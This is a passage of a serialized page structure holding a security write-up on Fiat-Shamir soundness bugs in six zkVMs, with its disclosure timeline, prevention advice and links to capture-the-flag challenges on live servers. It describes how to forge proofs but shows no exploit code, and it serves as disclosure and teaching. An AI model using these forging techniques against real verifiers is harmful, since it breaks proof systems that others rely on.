"children":126237},{"className":126236,"style":117650},[309],[126238],{"type":25,"tag":216,"props":126239,"children":126240},{"style":25601},[126241,126245],{"type":25,"tag":216,"props":126242,"children":126244},{"className":126243,"style":2175},[319],[],{"type":25,"tag":216,"props":126246,"children":126248},{"className":126247},[2180,2181,2182,2183],[126249],{"type":25,"tag":216,"props":126250,"children":126252},{"className":126251},[246,2183],[126253,126258,126263],{"type":25,"tag":216,"props":126254,"children":126256},{"className":126255,"style":2461},[246,2145,2183],[126257],{"type":31,"value":2464},{"type":25,"tag":216,"props":126259,"children":126261},{"className":126260},[1858,2183],[126262],{"type":31,"value":1861},{"type":25,"tag":216,"props":126264,"children":126266},{"className":126265},[246,2145,2183],[126267],{"type":31,"value":7165},{"type":25,"tag":216,"props":126269,"children":126271},{"className":126270},[408],[126272],{"type":31,"value":411},{"type":25,"tag":216,"props":126274,"children":126276},{"className":126275},[304],[126277],{"type":25,"tag":216,"props":126278,"children":126280},{"className":126279,"style":118216},[309],[126281],{"type":25,"tag":216,"props":126282,"children":126283},{},[],{"type":25,"tag":216,"props":126285,"children":126287},{"className":126286,"style":1865},[257],[],{"type":25,"tag":216,"props":126289,"children":126291},{"className":126290},[246],[126292],{"type":25,"tag":216,"props":126293,"children":126295},{"className":126294},[246,31],[126296],{"type":25,"tag":216,"props":126297,"children":126299},{"className":126298},[246],[126300],{"type":31,"value":65637},{"type":25,"tag":216,"props":126302,"children":126304},{"className":126303},[287],[126305],{"type":31,"value":7695},{"type":25,"tag":216,"props":126307,"children":126309},{"className":126308,"style":2461},[246,2145],[126310],{"type":31,"value":2464},{"type":25,"tag":216,"props":126312,"children":126314},{"className":126313},[427],[126315],{"type":31,"value":19362},{"type":25,"tag":216,"props":126317,"children":126319},{"className":126318},[287],[126320],{"type":31,"value":7695},{"type":25,"tag":216,"props":126322,"children":126324},{"className":126323},[246,2145],[126325],{"type":31,"value":7165},{"type":25,"tag":216,"props":126327,"children":126329},{"className":126328},[427],[126330],{"type":31,"value":19362},{"type":25,"tag":216,"props":126332,"children":126334},{"className":126333,"style":335},[257],[],{"type":25,"tag":216,"props":126336,"children":126338},{"className":126337},[340],[126339],{"type":31,"value":343},{"type":25,"tag":216,"props":126341,"children":126343},{"className":126342,"style":335},[257],[],{"type":25,"tag":216,"props":126345,"children":126347},{"className":126346},[235],[126348,126353,126362,126367,126372,126377,126381,126438,126443,126447,126452],{"type":25,"tag":216,"props":126349,"children":126352},{"className":126350,"style":126351},[240],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":25,"tag":216,"props":126354,"children":126356},{"className":126355},[246,31],[126357],{"type":25,"tag":216,"props":126358,"children":126360},{"className":126359},[246],[126361],{"type":31,"value":116573},{"type":25,"tag":216,"props":126363,"children":126365},{"className":126364},[287],[126366],{"type":31,"value":1844},{"type":25,"tag":216,"props":126368,"children":126370},{"className":126369},[246,2145],[126371],{"type":31,"value":7165},{"type":25,"tag":216,"props":126373,"children":126375},{"className":126374},[1858],[126376],{"type":31,"value":1861},{"type":25,"tag":216,"props":126378,"children":126380},{"className":126379,"style":1865},[257],[],{"type":25,"tag":216,"props":126382,"children":126384},{"className":126383},[246],[126385,126390],{"type":25,"tag":216,"props":126386,"children":126388},{"className":126387,"style":2746},[246,2145],[126389],{"type":31,"value":97823},{"type":25,"tag":216,"props":126391,"children":126393},{"className":126392},[2153],[126394],{"type":25,"tag":216,"props":126395,"children":126397},{"className":126396},[298,299],[126398,126427],{"type":25,"tag":216,"props":126399,"children":126401},{"className":126400},[304],[126402,126422],{"type":25,"tag":216,"props":126403,"children":126405},{"className":126404,"style":2264},[309],[126406],{"type":25,"tag":216,"props":126407,"children":126408},{"style":2768},[126409,126413],{"type":25,"tag":216,"props":126410,"children":126412},{"className":126411,"style":2175},[319],[],{"type":25,"tag":216,"props":126414,"children":126416},{"className":126415},[2180,2181,2182,2183],[126417],{"type":25,"tag":216,"props":126418,"children":126420},{"className":126419,"style":118201},[246,2145,2183],[126421],{"type":31,"value":12603},{"type":25,"tag":216,"props":126423,"children":126425},{"className":126424},[408],[126426],{"type":31,"value":411},{"type":25,"tag":216,"props":126428,"children":126430},{"className":126429},[304],[126431],{"type":25,"tag":216,"props":126432,"children":126434},{"className":126433,"style":122887},[309],[126435],{"type":25,"tag":216,"props":126436,"children":126437},{},[],{"type":25,"tag":216,"props":126439,"children":126441},{"className":126440},[427],[126442],{"type":31,"value":1882},{"type":25,"tag":216,"props":126444,"children":126446},{"className":126445,"style":335},[257],[],{"type":25,"tag":216,"props":126448,"children":126450},{"className":126449},[340],[126451],{"type":31,"value":343},{"type":25,"tag":216,"props":126453,"children":126455},{"className":126454,"style":335},[257],[],{"type":25,"tag":216,"props":126457,"children":126459},{"className":126458},[235],[126460,126464,126473,126478,126483,126488,126492,126502,126507,126516,126521,126530],{"type":25,"tag":216,"props":126461,"children":126463},{"className":126462,"style":96954},[240],[],{"type":25,"tag":216,"props":126465,"children":126467},{"className":126466},[246,31],[126468],{"type":25,"tag":216,"props":126469,"children":126471},{"className":126470},[246],[126472],{"type":31,"value":116573},{"type":25,"tag":216,"props":126474,"children":126476},{"className":126475},[287],[126477],{"type":31,"value":1844},{"type":25,"tag":216,"props":126479,"children":126481},{"className":126480,"style":2461},[246,2145],[126482],{"type":31,"value":2464},{"type":25,"tag":216,"props":126484,"children":126486},{"className":126485},[1858],[126487],{"type":31,"value":1861},{"type":25,"tag":216,"props":126489,"children":126491},{"className":126490,"style":1865},[257],[],{"type":25,"tag":216,"props":126493,"children":126495},{"className":126494},[246,31],[126496],{"type":25,"tag":216,"props":126497,"children":126499},{"className":126498},[246],[126500],{"type":31,"value":126501},"inout",{"type":25,"tag":216,"props":126503,"children":126505},{"className":126504,"style":2746},[246],[126506],{"type":31,"value":7025},{"type":25,"tag":216,"props":126508,"children":126510},{"className":126509},[246,31],[126511],{"type":25,"tag":216,"props":126512,"children":126514},{"className":126513},[246],[126515],{"type":31,"value":41505},{"type":25,"tag":216,"props":126517,"children":126519},{"className":126518,"style":2746},[246],[126520],{"type":31,"value":7025},{"type":25,"tag":216,"props":126522,"children":126524},{"className":126523},[246,31],[126525],{"type":25,"tag":216,"props":126526,"children":126528},{"className":126527},[246],[126529],{"type":31,"value":121762},{"type":25,"tag":216,"props":126531,"children":126533},{"className":126532},[427],[126534],{"type":31,"value":1882},{"type":25,"tag":38,"props":126536,"children":126537},{},[126538,126540,126545,126547,126620],{"type":31,"value":126539},"With challenges fixed (independent of ",{"type":25,"tag":82,"props":126541,"children":126543},{"className":126542},[],[126544],{"type":31,"value":65637},{"type":31,"value":126546},"), an attacker can find an alternate witness ",{"type":25,"tag":82,"props":126548,"children":126550},{"className":126549},[212,4696],[126551],{"type":25,"tag":216,"props":126552,"children":126554},{"className":126553},[224],[126555],{"type":25,"tag":216,"props":126556,"children":126558},{"className":126557,"ariaHidden":230},[229],[126559],{"type":25,"tag":216,"props":126560,"children":126562},{"className":126561},[235],[126563,126568],{"type":25,"tag":216,"props":126564,"children":126567},{"className":126565,"style":126566},[240],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":25,"tag":216,"props":126569,"children":126571},{"className":126570},[246],[126572,126581],{"type":25,"tag":216,"props":126573,"children":126575},{"className":126574},[246,31],[126576],{"type":25,"tag":216,"props":126577,"children":126579},{"className":126578},[246],[126580],{"type":31,"value":65637},{"type":25,"tag":216,"props":126582,"children":126584},{"className":126583},[2153],[126585],{"type":25,"tag":216,"props":126586,"children":126588},{"className":126587},[298],[126589],{"type":25,"tag":216,"props":126590,"children":126592},{"className":126591},[304],[126593],{"type":25,"tag":216,"props":126594,"children":126597},{"className":126595,"style":126596},[309],"height:0.8362em;",[126598],{"type":25,"tag":216,"props":126599,"children":126601},{"style":126600},"top:-3.1473em;margin-right:0.05em;",[126602,126606],{"type":25,"tag":216,"props":126603,"children":126605},{"className":126604,"style":2175},[319],[],{"type":25,"tag":216,"props":126607,"children":126609},{"className":126608},[2180,2181,2182,2183],[126610],{"type":25,"tag":216,"props":126611,"children":126613},{"className":126612},[246,2183],[126614],{"type":25,"tag":216,"props":126615,"children":126617},{"className":126616},[246,2183],[126618],{"type":31,"value":126619},"′",{"type":31,"value":126621}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":25,"tag":38,"props":126623,"children":126624},{},[126625,126629,126631],{"type":25,"tag":9267,"props":126626,"children":126627},{},[126628],{"type":31,"value":120687},{"type":31,"value":126630}," Fixed on December 29, 2025 via ",{"type":25,"tag":162,"props":126632,"children":126635},{"href":126633,"rel":126634},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[166],[126636],{"type":31,"value":126637},"commit 86a515f",{"type":25,"tag":22747,"props":126639,"children":126640},{},[],{"type":25,"tag":26,"props":126642,"children":126644},{"id":126643},"why-does-this-keep-happening",[126645],{"type":31,"value":126646},"Why Does This Keep Happening?",{"type":25,"tag":38,"props":126648,"children":126649},{},[126650],{"type":31,"value":126651},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":25,"tag":607,"props":126653,"children":126655},{"id":126654},"academic-papers-dont-specify-fiat-shamir",[126656],{"type":31,"value":126657},"Academic Papers Don't Specify Fiat-Shamir",{"type":25,"tag":38,"props":126659,"children":126660},{},[126661,126663,126668,126670,126695,126697,126700,126702,126727,126729,126754],{"type":31,"value":126662},"Academic papers usually describe ",{"type":25,"tag":64,"props":126664,"children":126665},{},[126666],{"type":31,"value":126667},"interactive",{"type":31,"value":126669}," protocols: \"Prover sends ",{"type":25,"tag":82,"props":126671,"children":126673},{"className":126672},[212,4696],[126674],{"type":25,"tag":216,"props":126675,"children":126677},{"className":126676},[224],[126678],{"type":25,"tag":216,"props":126679,"children":126681},{"className":126680,"ariaHidden":230},[229],[126682],{"type":25,"tag":216,"props":126683,"children":126685},{"className":126684},[235],[126686,126690],{"type":25,"tag":216,"props":126687,"children":126689},{"className":126688,"style":4793},[240],[],{"type":25,"tag":216,"props":126691,"children":126693},{"className":126692,"style":26059},[246,2145],[126694],{"type":31,"value":120206},{"type":31,"value":126696},". Verifier sends",{"type":25,"tag":34924,"props":126698,"children":126699},{},[],{"type":31,"value":126701},"random ",{"type":25,"tag":82,"props":126703,"children":126705},{"className":126704},[212,4696],[126706],{"type":25,"tag":216,"props":126707,"children":126709},{"className":126708},[224],[126710],{"type":25,"tag":216,"props":126711,"children":126713},{"className":126712,"ariaHidden":230},[229],[126714],{"type":25,"tag":216,"props":126715,"children":126717},{"className":126716},[235],[126718,126722],{"type":25,"tag":216,"props":126719,"children":126721},{"className":126720,"style":6309},[240],[],{"type":25,"tag":216,"props":126723,"children":126725},{"className":126724,"style":2746},[246,2145],[126726],{"type":31,"value":97823},{"type":31,"value":126728},". Prover sends ",{"type":25,"tag":82,"props":126730,"children":126732},{"className":126731},[212,4696],[126733],{"type":25,"tag":216,"props":126734,"children":126736},{"className":126735},[224],[126737],{"type":25,"tag":216,"props":126738,"children":126740},{"className":126739,"ariaHidden":230},[229],[126741],{"type":25,"tag":216,"props":126742,"children":126744},{"className":126743},[235],[126745,126749],{"type":25,"tag":216,"props":126746,"children":126748},{"className":126747,"style":4793},[240],[],{"type":25,"tag":216,"props":126750,"children":126752},{"className":126751,"style":2890},[246,2145],[126753],{"type":31,"value":2893},{"type":31,"value":126755},".\"",{"type":25,"tag":38,"props":126757,"children":126758},{},[126759,126761,126786,126788,126813],{"type":31,"value":126760},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":25,"tag":82,"props":126762,"children":126764},{"className":126763},[212,4696],[126765],{"type":25,"tag":216,"props":126766,"children":126768},{"className":126767},[224],[126769],{"type":25,"tag":216,"props":126770,"children":126772},{"className":126771,"ariaHidden":230},[229],[126773],{"type":25,"tag":216,"props":126774,"children":126776},{"className":126775},[235],[126777,126781],{"type":25,"tag":216,"props":126778,"children":126780},{"className":126779,"style":4793},[240],[],{"type":25,"tag":216,"props":126782,"children":126784},{"className":126783,"style":26059},[246,2145],[126785],{"type":31,"value":120206},{"type":31,"value":126787}," before sampling ",{"type":25,"tag":82,"props":126789,"children":126791},{"className":126790},[212,4696],[126792],{"type":25,"tag":216,"props":126793,"children":126795},{"className":126794},[224],[126796],{"type":25,"tag":216,"props":126797,"children":126799},{"className":126798,"ariaHidden":230},[229],[126800],{"type":25,"tag":216,"props":126801,"children":126803},{"className":126802},[235],[126804,126808],{"type":25,"tag":216,"props":126805,"children":126807},{"className":126806,"style":6309},[240],[],{"type":25,"tag":216,"props":126809,"children":126811},{"className":126810,"style":2746},[246,2145],[126812],{"type":31,"value":97823},{"type":31,"value":126814},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":25,"tag":38,"props":126816,"children":126817},{},[126818],{"type":31,"value":126819},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, which may not have a good understanding of the full protocol.",{"type":25,"tag":607,"props":126821,"children":126823},{"id":126822},"the-hot-potato-problem",[126824],{"type":31,"value":126825},"The Hot Potato Problem",{"type":25,"tag":38,"props":126827,"children":126828},{},[126829],{"type":31,"value":126830},"Modern zkVMs are modular:",{"type":25,"tag":38,"props":126832,"children":126833},{},[126834],{"type":25,"tag":6461,"props":126835,"children":126838},{"alt":126836,"src":126837},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":25,"tag":38,"props":126840,"children":126841},{},[126842],{"type":31,"value":126843},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":25,"tag":607,"props":126845,"children":126847},{"id":126846},"optimization-pressure",[126848],{"type":31,"value":126849},"Optimization Pressure",{"type":25,"tag":38,"props":126851,"children":126852},{},[126853],{"type":31,"value":126854},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":25,"tag":38,"props":126856,"children":126857},{},[126858],{"type":31,"value":126859},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":25,"tag":607,"props":126861,"children":126863},{"id":126862},"testing-doesnt-catch-adversarial-inputs",[126864],{"type":31,"value":126865},"Testing Doesn't Catch Adversarial Inputs",{"type":25,"tag":38,"props":126867,"children":126868},{},[126869],{"type":31,"value":126870},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":25,"tag":22747,"props":126872,"children":126873},{},[],{"type":25,"tag":26,"props":126875,"children":126877},{"id":126876},"how-to-find-and-fix-these-bugs",[126878],{"type":31,"value":126879},"How to Find and Fix These Bugs",{"type":25,"tag":607,"props":126881,"children":126883},{"id":126882},"prevention",[126884],{"type":31,"value":126885},"Prevention",{"type":25,"tag":38,"props":126887,"children":126888},{},[126889],{"type":31,"value":126890},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":25,"tag":38,"props":126892,"children":126893},{},[126894],{"type":31,"value":126895},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":25,"tag":38,"props":126897,"children":126898},{},[126899],{"type":31,"value":126900},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":25,"tag":38,"props":126902,"children":126903},{},[126904],{"type":31,"value":126905},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":25,"tag":38,"props":126907,"children":126908},{},[126909],{"type":31,"value":126910},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":25,"tag":22747,"props":126912,"children":126913},{},[],{"type":25,"tag":26,"props":126915,"children":126917},{"id":126916},"responsible-disclosure-timeline",[126918],{"type":31,"value":126919},"Responsible Disclosure Timeline",{"type":25,"tag":59707,"props":126921,"children":126922},{},[126923,126951],{"type":25,"tag":126924,"props":126925,"children":126926},"thead",{},[126927],{"type":25,"tag":126928,"props":126929,"children":126930},"tr",{},[126931,126936,126941,126946],{"type":25,"tag":126932,"props":126933,"children":126934},"th",{},[126935],{"type":31,"value":27148},{"type":25,"tag":126932,"props":126937,"children":126938},{},[126939],{"type":31,"value":126940},"Reported",{"type":25,"tag":126932,"props":126942,"children":126943},{},[126944],{"type":31,"value":126945},"Fixed",{"type":25,"tag":126932,"props":126947,"children":126948},{},[126949],{"type":31,"value":126950},"Response Time",{"type":25,"tag":126952,"props":126953,"children":126954},"tbody",{},[126955,126978,126999,127019,127041,127062],{"type":25,"tag":126928,"props":126956,"children":126957},{},[126958,126963,126968,126973],{"type":25,"tag":126959,"props":126960,"children":126961},"td",{},[126962],{"type":31,"value":111812},{"type":25,"tag":126959,"props":126964,"children":126965},{},[126966],{"type":31,"value":126967},"Sep 2025",{"type":25,"tag":126959,"props":126969,"children":126970},{},[126971],{"type":31,"value":126972},"Oct 3, 2025",{"type":25,"tag":126959,"props":126974,"children":126975},{},[126976],{"type":31,"value":126977},"\u003C1 week",{"type":25,"tag":126928,"props":126979,"children":126980},{},[126981,126985,126990,126995],{"type":25,"tag":126959,"props":126982,"children":126983},{},[126984],{"type":31,"value":111818},{"type":25,"tag":126959,"props":126986,"children":126987},{},[126988],{"type":31,"value":126989},"Oct 2025",{"type":25,"tag":126959,"props":126991,"children":126992},{},[126993],{"type":31,"value":126994},"Oct 24, 2025",{"type":25,"tag":126959,"props":126996,"children":126997},{},[126998],{"type":31,"value":126977},{"type":25,"tag":126928,"props":127000,"children":127001},{},[127002,127006,127010,127015],{"type":25,"tag":126959,"props":127003,"children":127004},{},[127005],{"type":31,"value":111824},{"type":25,"tag":126959,"props":127007,"children":127008},{},[127009],{"type":31,"value":126989},{"type":25,"tag":126959,"props":127011,"children":127012},{},[127013],{"type":31,"value":127014},"Oct 31, 2025",{"type":25,"tag":126959,"props":127016,"children":127017},{},[127018],{"type":31,"value":126977},{"type":25,"tag":126928,"props":127020,"children":127021},{},[127022,127026,127031,127036],{"type":25,"tag":126959,"props":127023,"children":127024},{},[127025],{"type":31,"value":111830},{"type":25,"tag":126959,"props":127027,"children":127028},{},[127029],{"type":31,"value":127030},"Nov 2025",{"type":25,"tag":126959,"props":127032,"children":127033},{},[127034],{"type":31,"value":127035},"Mar 5, 2026",{"type":25,"tag":126959,"props":127037,"children":127038},{},[127039],{"type":31,"value":127040},"~4 months",{"type":25,"tag":126928,"props":127042,"children":127043},{},[127044,127048,127053,127058],{"type":25,"tag":126959,"props":127045,"children":127046},{},[127047],{"type":31,"value":111842},{"type":25,"tag":126959,"props":127049,"children":127050},{},[127051],{"type":31,"value":127052},"Dec 2025",{"type":25,"tag":126959,"props":127054,"children":127055},{},[127056],{"type":31,"value":127057},"Dec 29, 2025",{"type":25,"tag":126959,"props":127059,"children":127060},{},[127061],{"type":31,"value":126977},{"type":25,"tag":126928,"props":127063,"children":127064},{},[127065,127069,127073,127078],{"type":25,"tag":126959,"props":127066,"children":127067},{},[127068],{"type":31,"value":111836},{"type":25,"tag":126959,"props":127070,"children":127071},{},[127072],{"type":31,"value":127030},{"type":25,"tag":126959,"props":127074,"children":127075},{},[127076],{"type":31,"value":127077},"Jan 21, 2026?",{"type":25,"tag":126959,"props":127079,"children":127080},{},[127081],{"type":31,"value":127082},"3 months",{"type":25,"tag":38,"props":127084,"children":127085},{},[127086],{"type":31,"value":127087},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":25,"tag":22747,"props":127089,"children":127090},{},[],{"type":25,"tag":26,"props":127092,"children":127094},{"id":127093},"challenges",[127095],{"type":31,"value":111855},{"type":25,"tag":38,"props":127097,"children":127098},{},[127099,127101],{"type":31,"value":127100},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":25,"tag":127102,"props":127103,"children":127104},"del",{},[127105],{"type":31,"value":127106},"the first 10 solvers will get a T-shirt.",{"type":25,"tag":38,"props":127108,"children":127109},{},[127110,127112,127165,127166,127422],{"type":31,"value":127111},"Your goal is to find a counter example of Fermat's Last Theorem, i.e you know ",{"type":25,"tag":82,"props":127113,"children":127115},{"className":127114},[212,4696],[127116],{"type":25,"tag":216,"props":127117,"children":127119},{"className":127118},[224],[127120],{"type":25,"tag":216,"props":127121,"children":127123},{"className":127122,"ariaHidden":230},[229],[127124],{"type":25,"tag":216,"props":127125,"children":127127},{"className":127126},[235],[127128,127132,127137,127142,127146,127151,127156,127160],{"type":25,"tag":216,"props":127129,"children":127131},{"className":127130,"style":1513},[240],[],{"type":25,"tag":216,"props":127133,"children":127135},{"className":127134},[246,2145],[127136],{"type":31,"value":162},{"type":25,"tag":216,"props":127138,"children":127140},{"className":127139},[1858],[127141],{"type":31,"value":1861},{"type":25,"tag":216,"props":127143,"children":127145},{"className":127144,"style":1865},[257],[],{"type":25,"tag":216,"props":127147,"children":127149},{"className":127148},[246,2145],[127150],{"type":31,"value":7165},{"type":25,"tag":216,"props":127152,"children":127154},{"className":127153},[1858],[127155],{"type":31,"value":1861},{"type":25,"tag":216,"props":127157,"children":127159},{"className":127158,"style":1865},[257],[],{"type":25,"tag":216,"props":127161,"children":127163},{"className":127162},[246,2145],[127164],{"type":31,"value":2248},{"type":31,"value":113648},{"type":25,"tag":82,"props":127167,"children":127169},{"className":127168},[212,4696],[127170],{"type":25,"tag":216,"props":127171,"children":127173},{"className":127172},[224],[127174],{"type":25,"tag":216,"props":127175,"children":127177},{"className":127176,"ariaHidden":230},[229],[127178,127241,127303,127409],{"type":25,"tag":216,"props":127179,"children":127181},{"className":127180},[235],[127182,127187,127228,127232,127237],{"type":25,"tag":216,"props":127183,"children":127186},{"className":127184,"style":127185},[240],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":25,"tag":216,"props":127188,"children":127190},{"className":127189},[246],[127191,127196],{"type":25,"tag":216,"props":127192,"children":127194},{"className":127193},[246,2145],[127195],{"type":31,"value":162},{"type":25,"tag":216,"props":127197,"children":127199},{"className":127198},[2153],[127200],{"type":25,"tag":216,"props":127201,"children":127203},{"className":127202},[298],[127204],{"type":25,"tag":216,"props":127205,"children":127207},{"className":127206},[304],[127208],{"type":25,"tag":216,"props":127209,"children":127211},{"className":127210,"style":7968},[309],[127212],{"type":25,"tag":216,"props":127213,"children":127214},{"style":6098},[127215,127219],{"type":25,"tag":216,"props":127216,"children":127218},{"className":127217,"style":2175},[319],[],{"type":25,"tag":216,"props":127220,"children":127222},{"className":127221},[2180,2181,2182,2183],[127223],{"type":25,"tag":216,"props":127224,"children":127226},{"className":127225},[246,2183],[127227],{"type":31,"value":21247},{"type":25,"tag":216,"props":127229,"children":127231},{"className":127230,"style":335},[257],[],{"type":25,"tag":216,"props":127233,"children":127235},{"className":127234},[340],[127236],{"type":31,"value":3533},{"type":25,"tag":216,"props":127238,"children":127240},{"className":127239,"style":335},[257],[],{"type":25,"tag":216,"props":127242,"children":127244},{"className":127243},[235],[127245,127249,127290,127294,127299],{"type":25,"tag":216,"props":127246,"children":127248},{"className":127247,"style":7968},[240],[],{"type":25,"tag":216,"props":127250,"children":127252},{"className":127251},[246],[127253,127258],{"type":25,"tag":216,"props":127254,"children":127256},{"className":127255},[246,2145],[127257],{"type":31,"value":7165},{"type":25,"tag":216,"props":127259,"children":127261},{"className":127260},[2153],[127262],{"type":25,"tag":216,"props":127263,"children":127265},{"className":127264},[298],[127266],{"type":25,"tag":216,"props":127267,"children":127269},{"className":127268},[304],[127270],{"type":25,"tag":216,"props":127271,"children":127273},{"className":127272,"style":7968},[309],[127274],{"type":25,"tag":216,"props":127275,"children":127276},{"style":6098},[127277,127281],{"type":25,"tag":216,"props":127278,"children":127280},{"className":127279,"style":2175},[319],[],{"type":25,"tag":216,"props":127282,"children":127284},{"className":127283},[2180,2181,2182,2183],[127285],{"type":25,"tag":216,"props":127286,"children":127288},{"className":127287},[246,2183],[127289],{"type":31,"value":21247},{"type":25,"tag":216,"props":127291,"children":127293},{"className":127292,"style":258},[257],[],{"type":25,"tag":216,"props":127295,"children":127297},{"className":127296},[263],[127298],{"type":31,"value":266},{"type":25,"tag":216,"props":127300,"children":127302},{"className":127301,"style":258},[257],[],{"type":25,"tag":216,"props":127304,"children":127306},{"className":127305},[235],[127307,127312,127353,127358,127362,127367,127372,127376,127381,127386,127390,127395,127399,127405],{"type":25,"tag":216,"props":127308,"children":127311},{"className":127309,"style":127310},[240],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":25,"tag":216,"props":127313,"children":127315},{"className":127314},[246],[127316,127321],{"type":25,"tag":216,"props":127317,"children":127319},{"className":127318},[246,2145],[127320],{"type":31,"value":2248},{"type":25,"tag":216,"props":127322,"children":127324},{"className":127323},[2153],[127325],{"type":25,"tag":216,"props":127326,"children":127328},{"className":127327},[298],[127329],{"type":25,"tag":216,"props":127330,"children":127332},{"className":127331},[304],[127333],{"type":25,"tag":216,"props":127334,"children":127336},{"className":127335,"style":7968},[309],[127337],{"type":25,"tag":216,"props":127338,"children":127339},{"style":6098},[127340,127344],{"type":25,"tag":216,"props":127341,"children":127343},{"className":127342,"style":2175},[319],[],{"type":25,"tag":216,"props":127345,"children":127347},{"className":127346},[2180,2181,2182,2183],[127348],{"type":25,"tag":216,"props":127349,"children":127351},{"className":127350},[246,2183],[127352],{"type":31,"value":21247},{"type":25,"tag":216,"props":127354,"children":127356},{"className":127355},[1858],[127357],{"type":31,"value":1861},{"type":25,"tag":216,"props":127359,"children":127361},{"className":127360,"style":1865},[257],[],{"type":25,"tag":216,"props":127363,"children":127365},{"className":127364},[246,2145],[127366],{"type":31,"value":162},{"type":25,"tag":216,"props":127368,"children":127370},{"className":127369},[1858],[127371],{"type":31,"value":1861},{"type":25,"tag":216,"props":127373,"children":127375},{"className":127374,"style":1865},[257],[],{"type":25,"tag":216,"props":127377,"children":127379},{"className":127378},[246,2145],[127380],{"type":31,"value":7165},{"type":25,"tag":216,"props":127382,"children":127384},{"className":127383},[1858],[127385],{"type":31,"value":1861},{"type":25,"tag":216,"props":127387,"children":127389},{"className":127388,"style":1865},[257],[],{"type":25,"tag":216,"props":127391,"children":127393},{"className":127392},[246,2145],[127394],{"type":31,"value":2248},{"type":25,"tag":216,"props":127396,"children":127398},{"className":127397,"style":258},[257],[],{"type":25,"tag":216,"props":127400,"children":127402},{"className":127401},[263],[127403],{"type":31,"value":127404},"≥",{"type":25,"tag":216,"props":127406,"children":127408},{"className":127407,"style":258},[257],[],{"type":25,"tag":216,"props":127410,"children":127412},{"className":127411},[235],[127413,127417],{"type":25,"tag":216,"props":127414,"children":127416},{"className":127415,"style":5287},[240],[],{"type":25,"tag":216,"props":127418,"children":127420},{"className":127419},[246],[127421],{"type":31,"value":184},{"type":31,"value":127423},". Good luck!",{"type":25,"tag":607,"props":127425,"children":127427},{"id":127426},"jolt",[127428],{"type":31,"value":111812},{"type":25,"tag":38,"props":127430,"children":127431},{},[127432,127434,127445,127447],{"type":31,"value":127433},"See ",{"type":25,"tag":162,"props":127435,"children":127442},{"href":127436,"target":127437,"rel":127438,"download":127441},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[127439,127440],"noopener","noreferrer","handout_jolt.tar.gz",[127443],{"type":31,"value":127444},"the handout",{"type":31,"value":127446}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":25,"tag":82,"props":127448,"children":127450},{"className":127449},[],[127451],{"type":31,"value":127452},"jolt.chal.osec.io:8960",{"type":25,"tag":607,"props":127454,"children":127456},{"id":127455},"nexus-1",[127457],{"type":31,"value":111818},{"type":25,"tag":38,"props":127459,"children":127460},{},[127461,127462,127469,127470],{"type":31,"value":127433},{"type":25,"tag":162,"props":127463,"children":127467},{"href":127464,"target":127437,"rel":127465,"download":127466},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[127439,127440],"handout_nexus.tar.gz",[127468],{"type":31,"value":127444},{"type":31,"value":127446},{"type":25,"tag":82,"props":127471,"children":127473},{"className":127472},[],[127474],{"type":31,"value":127475},"nexus.chal.osec.io:8950",{"type":25,"tag":38,"props":127477,"children":127478},{},[127479],{"type":31,"value":127480},"Now you should have enough margin to prove Fermat wrong.",{"type":25,"tag":22747,"props":127482,"children":127483},{},[],{"type":25,"tag":26,"props":127485,"children":127487},{"id":127486},"takeaways",[127488],{"type":31,"value":127489},"Takeaways",{"type":25,"tag":38,"props":127491,"children":127492},{},[127493],{"type":31,"value":127494},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":25,"tag":38,"props":127496,"children":127497},{},[127498],{"type":31,"value":127499},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":25,"tag":38,"props":127501,"children":127502},{},[127503,127508],{"type":25,"tag":9267,"props":127504,"children":127505},{},[127506],{"type":31,"value":127507},"For the ZK ecosystem:",{"type":31,"value":127509}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle 